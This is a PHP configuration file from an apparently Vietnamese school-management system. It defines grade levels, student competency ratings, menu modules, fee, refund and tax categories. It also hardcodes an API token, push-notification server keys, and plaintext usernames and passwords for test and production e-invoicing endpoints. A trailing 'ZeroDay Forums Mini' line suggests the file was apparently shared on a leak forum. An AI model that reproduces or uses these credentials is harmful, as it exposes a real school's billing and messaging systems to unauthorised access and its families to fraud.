$arr_discussion_type[4] = 'Di&#7877;n &#273;&#224;n KT-TC';
$arr_hanh_kiem_th_type = array('tu_chu_va_tu_hoc'=>'Tự chủ và tự học','giao_tiep_va_hop_tac'=>'Giao tiếp và hợp tác','giai_quyet_van_de_va_sang_tao'=>'Giải quyết vấn đề và sáng tạo','ngon_ngu'=>'Ngôn ngữ','tinh_toan'=>'Tính toán','khoa_hoc'=>'Khoa học',
    'cong_nghe'=>'Công nghệ', 'tin_hoc'=>'Tin học',
    'tham_my'=>'Thẩm mỹ','the_chat'=>'Thể chất','yeu_nuoc'=>'Yêu nước','nhan_ai'=>'Nhân ái','cham_chi'=>'Chăm chỉ','trung_thuc'=>'Trung thực','trach_nhiem'=>'Trách nhiệm','nhan_xet_chung_cua_gvcn'=>'Nhận xét chung của giáo viên chủ nhiệm');
$arr_module_cat = array(
    'update'=>array(
        'update-1'=>array('vi'=>'Hàng ngày','en'=>'My Daily'),
        'update-2'=>array('vi'=>'Học sinh','en'=>'Student'),
        'update-3'=>array('vi'=>'Giáo viên','en'=>'Teacher'),
        'update-4'=>array('vi'=>'Lớp học','en'=>'Classes'),
        'update-5'=>array('vi'=>'Hệ thống','en'=>'System'),
        'update-6'=>array('vi'=>'Tài liệu','en'=>'Documents')

    ),
    'research'=>array(
        'research-5'=>array('vi'=>'Sổ các loại','en'=>'Assorted books'),
        'research-6'=>array('vi'=>'Giáo viên','en'=>'Teacher'),
        'research-7'=>array('vi'=>'Học sinh','en'=>'Student'),
        'research-8'=>array('vi'=>'Tra cứu khác','en'=>'Other')
    ),
    'management'=>array(
        'management-9'=>array('vi'=>'Điểm - Thi','en'=>'Exam & scores'),
        'management-10'=>array('vi'=>'Thời khóa biểu','en'=>'Timetable'),
        'management-11'=>array('vi'=>'Học sinh','en'=>'Student'),
        'management-12'=>array('vi'=>'Giáo viên','en'=>'Teacher'),
        'management-13'=>array('vi'=>'Hệ thống','en'=>'Campus System')
    ),
    'report'=>array(
        'report-14'=>array('vi'=>'Học sinh','en'=>'Student'),
        'report-15'=>array('vi'=>'Giáo viên','en'=>'Teacher'),
        'report-16'=>array('vi'=>'Điểm - Thi','en'=>'Exam - Scores'),
        'report-17'=>array('vi'=>'Tiết dạy','en'=>'Lesson'),
    )

);
$arr_list_level_khoi = array(
    'Mầm non'=>array('nhomtre1'=>'Nhóm trẻ 1 (3-12 tháng)','nhomtre2'=>'Nhóm trẻ 2 (13-24 tháng)','nhomtre3'=>'Nhóm trẻ 3 (25-36 tháng)','maugiao1'=>'Mẫu giáo 1 (3-4 Tuổi)','maugiao2'=>'Mẫu giáo 2 (4-5 Tuổi)','maugiao3'=>'Mẫu giáo 3 (5-6 Tuổi)'),
    'Tiểu học'=>array('1'=>'1','2'=>'2','3'=>'3','4'=>'4','5'=>'5'),
    'THCS'=>array('6'=>'6','7'=>'7','8'=>'8','9'=>'9'),
    'THPT'=>array('10'=>'10','11'=>'11','12'=>'12')
);
$arr_list_cap_dao_tao = array(
    'nhomtre1'=>'C_001','nhomtre2'=>'C_001','nhomtre3'=>'C_001',
    'maugiao1'=>'C_002','maugiao2'=>'C_002','maugiao3'=>'C_002',
    '1'=>'C_003','2'=>'C_003','3'=>'C_003','4'=>'C_003','5'=>'C_003',
    '6'=>'C_004','7'=>'C_004','8'=>'C_004','9'=>'C_004',
    '10'=>'C_005','11'=>'C_005','12'=>'C_005'
);
$arr_thu_chi_type = array('thu'=>'Thu','chi'=>'Giảm trừ','hoantra'=>'Hoàn trả');
$arr_type_hoso = array(1=>'Chưa nhận hồ sơ',2=>'Đã nhận hồ sơ',3=>'Đã đóng phí ghi danh','4'=>'Chờ xếp lớp','5'=>'Đã đóng tiền học','6'=>'Gói ưu đãi học phí đồng hành lâu dài','7'=>'Đã nhập học','8'=>'Đóng phí trước nhiều năm','9'=>'Đã nhập học hè');
$txt_token_istudy = '0cea59a52571241a4f701880bd5ae6f8';

$key_ios = 'AAAAlqujmco:APA91bHZeh7S2U9uNA64hSQ0qQdzP7H9Oser4Ua1OWk_6-OBSW541T77ehTa-II35uBmu8csvzt_lZ9XGc-GsKcKvWHrU2MKCNAq_P1Re7ldM2_YcV0L1LA1VwCQj84me87SiCJhiQjf';
$key_android = 'AAAAlqujmco:APA91bHZeh7S2U9uNA64hSQ0qQdzP7H9Oser4Ua1OWk_6-OBSW541T77ehTa-II35uBmu8csvzt_lZ9XGc-GsKcKvWHrU2MKCNAq_P1Re7ldM2_YcV0L1LA1VwCQj84me87SiCJhiQjf';

$arr_type_nghihoc = array('3'=>'Nghỉ học','7'=>'Tốt nghiệp','8'=>'Bảo lưu');
$arr_duyet_bieu_phi_group  = array('hieu_truong'=>'Hiệu trưởng/KTT','cong_ty'=>'Công ty','b2'=>'B2');

$arr_hinhthuctt = array('TM'=>'Tiền mặt','CK'=>'Chuyển khoản','POS'=>'Cà thẻ','TRU_PHI_TRUOC'=>'Cấn trừ');

/*$arr_chinhsanh_giamphi = array(
    '3'=>'Chiết khấu thanh toán',

    '4'=>'Ck con thứ 2',
    '5'=>'Ck con thứ 3',
    '6'=>'Con chính quyền địa phương',
    '7'=>'Con CBNV',
    '8'=>'KOL',

    '10'=>'Học bổng Khuyến học',
    '11'=>'Học bổng Tài năng',

    '12'=>'Xe đưa rước 02 con',
    '13'=>'Xe đưa rước 03 con',
    '14'=>'Cùng địa điểm đón 1 chiều',
    '15'=>'Cùng địa điểm đón 2 chiều',

    '16'=>'Chính sách marketing',
    '99'=>'Chính sách khác'
);*/

$arr_khoanmuc_chi = array('1'=>'Hoàn trả học phí','2'=>'Hoàn trả bán trú','3'=>'Hoàn trả xe đưa rước','4'=>'Hoàn trả khác');
//$arr_loai_nghiep_vu = array(1=>'Chi hoàn học phí',2=>'Chi học bổng',3=>'Chi miễn giảm',4=>'Chi khác');
$arr_loai_nghiep_vu = array(1=>'Chi hoàn phí',2=>'Chi hoàn học bổng/giảm giá');
$arr_status_hoan_tra = array('pending'=>'Khởi tạo','sent'=>'Đã gửi và đang chờ duyệt','deny'=>'Không duyệt','active'=>'Đã duyệt','done'=>'Đã hoàn trả');
$arr_chinhsanh_hoantra = array('1'=>'Hoàn trả trong chính sách','Hoàn trả ngoài chính sách');
$arr_giamgia_basic = array('100'=>'HB Địa phương','101'=>'Chính sách Marketing','102'=>'Giảm theo tờ trình');
$arr_tax = array('10'=>'Thuế suất 10%','8'=>'Thuế suất 8%','5'=>'Thuế suất 5%','0'=>'Thuế suất 0%','-1'=>'Không chịu thuế','-2'=>'Không kê khai nộp thuế');

define('ENDPOINT_TEST_M_INVOICE_LOGIN', 'https://test-einvoice.nhg.vn/api/Account/Login');
define('ENDPOINT_TEST_M_INVOICE_CREATE', 'https://test-einvoice.nhg.vn/api/InvoiceApi78/Save');
define('ENDPOINT_TEST_M_INVOICE_CANCEL', 'https://test-einvoice.nhg.vn/api/InvoiceApi78/HuyHoaDon');
define('ENDPOINT_TEST_M_INVOICE_PRINT', 'https://test-einvoice.nhg.vn/api/InvoiceApi78/PrintInvoice');
define('ENDPOINT_TEST_M_INVOICE_INVOICE_INFO', 'https://test-einvoice.nhg.vn/api/InvoiceApi78/GetInfoInvoice');
define('TEST_MINVOICE_USERNAME', 'ADMINISTRATOR');
define('TEST_MINVOICE_PASSWORD', 'nguyenhoang78');

define('ENDPOINT_PROD_M_INVOICE_LOGIN', 'https://einvoice.nhg.vn/api/Account/Login');
define('ENDPOINT_PROD_M_INVOICE_CREATE', 'https://einvoice.nhg.vn/api/InvoiceApi78/Save');
define('ENDPOINT_PROD_M_INVOICE_CANCEL', 'https://einvoice.nhg.vn/api/InvoiceApi78/HuyHoaDon');
define('ENDPOINT_PROD_M_INVOICE_PRINT', 'https://einvoice.nhg.vn/api/InvoiceApi78/PrintInvoice');
define('ENDPOINT_PROD_M_INVOICE_INVOICE_INFO', 'https://einvoice.nhg.vn/api/InvoiceApi78/GetInfoInvoice');
define('PROD_MINVOICE_USERNAME', '[email protected]');
define('PROD_MINVOICE_PASSWORD', 'Quk07571');
?>

ZeroDay Forums Mini